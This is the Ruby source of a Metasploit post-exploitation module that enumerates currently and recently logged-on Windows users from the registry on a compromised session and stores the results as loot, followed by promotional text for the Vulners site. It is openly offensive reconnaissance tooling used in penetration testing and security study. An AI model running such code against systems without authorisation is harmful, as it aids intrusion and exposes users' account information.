##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Logged On User Enumeration (Registry)',
'Description' => %q{ This module will enumerate current and recently logged on Windows users. },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => %w[powershell shell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
)
)
register_options([
OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),
OptBool.new('RECENT', [ true, 'Enumerate recently logged on users', true])
])
end
def list_recently_logged_on_users
tbl = Rex::Text::Table.new(
'Header' => 'Recently Logged Users',
'Indent' => 1,
'Columns' =>
[
'SID',
'Profile Path'
]
)
profiles = read_profile_list(user_accounts_only: false)
return if profiles.blank?
profiles.each do |profile|
tbl << [
profile['SID'],
profile['PROF']
]
end
return if tbl.rows.empty?
print_line("\n#{tbl}\n")
p = store_loot('host.users.recent', 'text/plain', session, tbl.to_s, 'recent_users.txt', 'Recent Users')
print_good("Results saved in: #{p}")
end
def list_currently_logged_on_users
return unless session.type == 'meterpreter'
tbl = Rex::Text::Table.new(
'Header' => 'Current Logged Users',
'Indent' => 1,
'Columns' =>
[
'SID',
'User'
]
)
keys = registry_enumkeys('HKU')
return unless keys
keys.each do |maybe_sid|
next unless maybe_sid.starts_with?('S-1-5-21-')
next if maybe_sid.ends_with?('_Classes')
info = resolve_sid(maybe_sid)
next if info.nil?
name = info[:name]
domain = info[:domain]
next if domain.blank? || name.blank?
tbl << [maybe_sid, "#{domain}\\#{name}"]
end
return if tbl.rows.empty?
print_line("\n#{tbl}\n")
p = store_loot('host.users.active', 'text/plain', session, tbl.to_s, 'active_users.txt', 'Active Users')
print_good("Results saved in: #{p}")
end
def run
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
if datastore['CURRENT']
if session.type == 'meterpreter'
list_currently_logged_on_users
else
print_error("Incompatible session type '#{session.type}'. Can not retrieve list of currently logged in users.")
end
end
if datastore['RECENT']
list_recently_logged_on_users
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation